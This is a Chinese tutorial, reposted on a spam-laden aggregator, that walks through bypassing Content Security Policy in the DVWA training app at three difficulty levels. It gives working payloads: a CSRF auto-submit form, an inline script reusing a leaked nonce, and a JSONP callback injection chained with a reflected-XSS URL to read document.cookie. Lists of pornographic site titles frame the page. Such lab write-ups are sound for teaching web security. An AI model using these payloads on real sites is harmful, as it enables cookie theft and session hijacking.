日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass

發(fā)布時間:2025/4/16 编程问答 20 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

看到標題,是否有點疑惑 CPS 是什么東東。簡單介紹一下就是瀏覽器的安全策略,如果 標簽,或者是服務器中返回 HTTP 頭中有 Content-Security-Policy 標簽 ,瀏覽器會根據(jù)標簽里面的內(nèi)容,判斷哪些資源可以加載或執(zhí)行。阮一峰老師也有關于CSP 的文章,大家可以看看

看回 DVWA。DVWA 中需求也是很簡單的,輸入被信任的資源,就能加載或執(zhí)行資源了。

初級

初級篇,如果不看源碼的話。看檢查器(F12),也可以知道一些被信任的網(wǎng)站。

其他的網(wǎng)站,大家應該也比較熟悉。而當中的 pastebin 是什么網(wǎng)站呢?一個快速分享文本內(nèi)容的網(wǎng)站
假如文本的內(nèi)容是一段 js 代碼呢?


比如是源碼中提示我們的, 輸入 https://pastebin.com/raw/VqHmJKjr

所以,不應該信任那些可以自由編輯文件的網(wǎng)頁的

那么能如何進行攻擊呢? 可以用 CSRF 吧。

造一個惡意的網(wǎng)站,通過發(fā)郵件的方式誘導用戶點擊即可。詳情可以看 CSRF 那一章。

<form action="http://192.168.0.110:5678/vulnerabilities/csp/" id="csp" method="post"> <input type="text" name="include" value=""/> </form> <script> var form = document.getElementById("csp"); form[0].value="https://pastebin.com/raw/VqHmJKjr"; form.submit(); </script>

中級

中級的問題在于使用了 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' 這個標簽,

也就是說如果你輸入

<script nonc=”TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

是能注入成功的。

這當然也可以利用 CSRF 手段進行攻擊

高級

高級就改變了形式了,點擊按鈕會得到答案,而這個答案是用 JSONP 的方式獲得的。(常用于跨越請求)

而且 cps 也設置為只信任自己的域名了

Content-Security-Policy: script-src 'self';

那這能有什么問題呢?

而點擊后發(fā)請求的邏輯在 vulnerabilities/csp/source/high.js 中

function clickButton() {var s = document.createElement("script");s.src = "source/jsonp.php?callback=solveSum";document.body.appendChild(s); }function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];} }var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();}); }

先說下這里的邏輯是什么吧。

  • 客戶端點擊按鈕后,會在 html 中創(chuàng)建 <script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script> 這樣的標簽
  • 因為 script 不同于 ajax,所以可以跨域發(fā)送的
  • 服務器就根據(jù) callback 請求,返回 solveSum({"answer":"15"}) , 就可以調(diào)用 high.js 中的solveSum 有點繞。
  • 大家應該能理解吧。

    但如果有人將 callback 參數(shù)改成 ...callback=alert(document.cookie)//呢?
    返回的確實 alert(document.cookie)//({"answer":"15"}) 。。。

    所以這是一個注入點。
    至于如何利用,可以用同一個級別的 反射型 XSS 攻擊,在 CSRF 那篇也見過這種攻擊的手法

    假如我有一個這樣的 js 。

    d=document; h=d.getElementsByTagName('head').item(0); s=d.createElement('script'); s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//'); h.appendChild(s);

    即可完成攻擊

    而 xss 攻擊 url 是這樣的

    http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20οnerrοr=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//%22);h.appendChild(s)

    去掉轉(zhuǎn)義是這樣的 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=#d=document;h=d.getElementsByTagName('head').item(0);s=d.createElement('script');s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');h.appendChild(s);
    意思就是說,XSS 那里有個注入點,添加了個圖片,圖片地址錯誤的時候會折斷 url 的哈希路由的部分進行攻擊。具體還是看下 XSS 和 CSRF 那部分吧

    不可能

    就沒有 url 中的 callback 了,后臺寫死了

    <?php$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= "" . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"><p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" /> </form><script src="source/impossible.js"></script> ';

    總結

    見識了這些繞過的方式,設置 CSP 還得謹慎點。
    JSONP 跨域,其實也挺多安全性問題的。比如一些敏感的信息一不注意就會在惡意網(wǎng)站通過 JOSNP 泄露出去的。

    轉(zhuǎn)載于:https://www.cnblogs.com/jojo-feed/p/10204588.html

    總結

    以上是生活随笔為你收集整理的DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 国产精品第六页 | 日韩欧美精品在线观看 | 亚洲天堂区 | 少妇搡bbbb搡bbb搡小说 | 无码国产精品一区二区免费16 | 成人国产精品久久 | 免费a级| 99国产精品免费视频 | 中文字幕7 | 天天色亚洲 | 亚洲每日在线 | 91精品推荐 | 国产精品一区二区免费看 | 青青草国产在线播放 | 婷婷久久综合 | 打屁股无遮挡网站 | 免费久久 | av三级网 | 成年人久久| 欧美a√| 一区二区乱码 | 少妇人妻丰满做爰xxx | 天天av天天 | 国产精品国产一区二区三区四区 | 欧美一区二区三区在线观看视频 | 日日夜夜操操操 | 最新免费av网站 | 久久久久中文字幕亚洲精品 | 久草视频国产 | 天天看天天摸 | 波多野结衣一区二区三区免费视频 | 亚洲字幕成人中文在线观看 | 国产一级二级在线 | 香蕉视频传媒 | 青青青草视频 | 久久er99热精品一区二区 | 国产区一区二区 | 五月天最新网址 | 中文字幕一区久久 | 天天综合av | 三级成人 | 国产精品久久久久久免费观看 | 麻豆婷婷 | 特黄aaaaaaa片免费视频 | 色综合狠狠操 | 情五月 | 午夜性激情 | 亚洲AV无码成人片在线观看 | 欧美一本在线 | 在线超碰91| 韩日av网站 | 国产三级自拍 | 亚洲综合色成人 | 禁久久精品乱码 | 亚洲欧美日韩精品色xxx | 亚洲日本成人 | 久久成人18免费观看 | 精品视频在线观看免费 | 黄网站免费入口 | 天堂一区二区三区四区 | 亚洲品质自拍视频网站 | 国内精品偷拍 | 中文字幕av日韩 | 成人av网页| 久久国产黄色片 | 香蕉视频网页 | 久久女女 | 夜色快播 | 激情高潮呻吟抽搐喷水 | 黄色资源网站 | 成人毛片18女人毛片 | 亚洲欧洲综合网 | 欧美激情91 | 国产伦视频| 麻豆小视频 | 永久免费未满蜜桃 | 欧美亚色 | 在线观看黄色免费网站 | 国产视频久久 | 婷婷色激情 | 亚洲av无码一区二区乱孑伦as | 国产毛片久久久久久 | 99久久久国产精品无码免费 | 桃色在线视频 | 人妻激情偷乱频一区二区三区 | japanese国产打屁股网站 | 国产成人精品视频在线观看 | 我我色综合| 精品一区二区三区久久久 | 亚洲一区二区三区欧美 | 国产孕妇一区二区三区 | 韩国美女视频在线观看18 | 99久久国 | 男女午夜激情 | www国产精品 | 超碰在线看 | 日韩精品视频播放 | 亚洲AV无码国产精品国产剧情 | 久久国产精品二区 |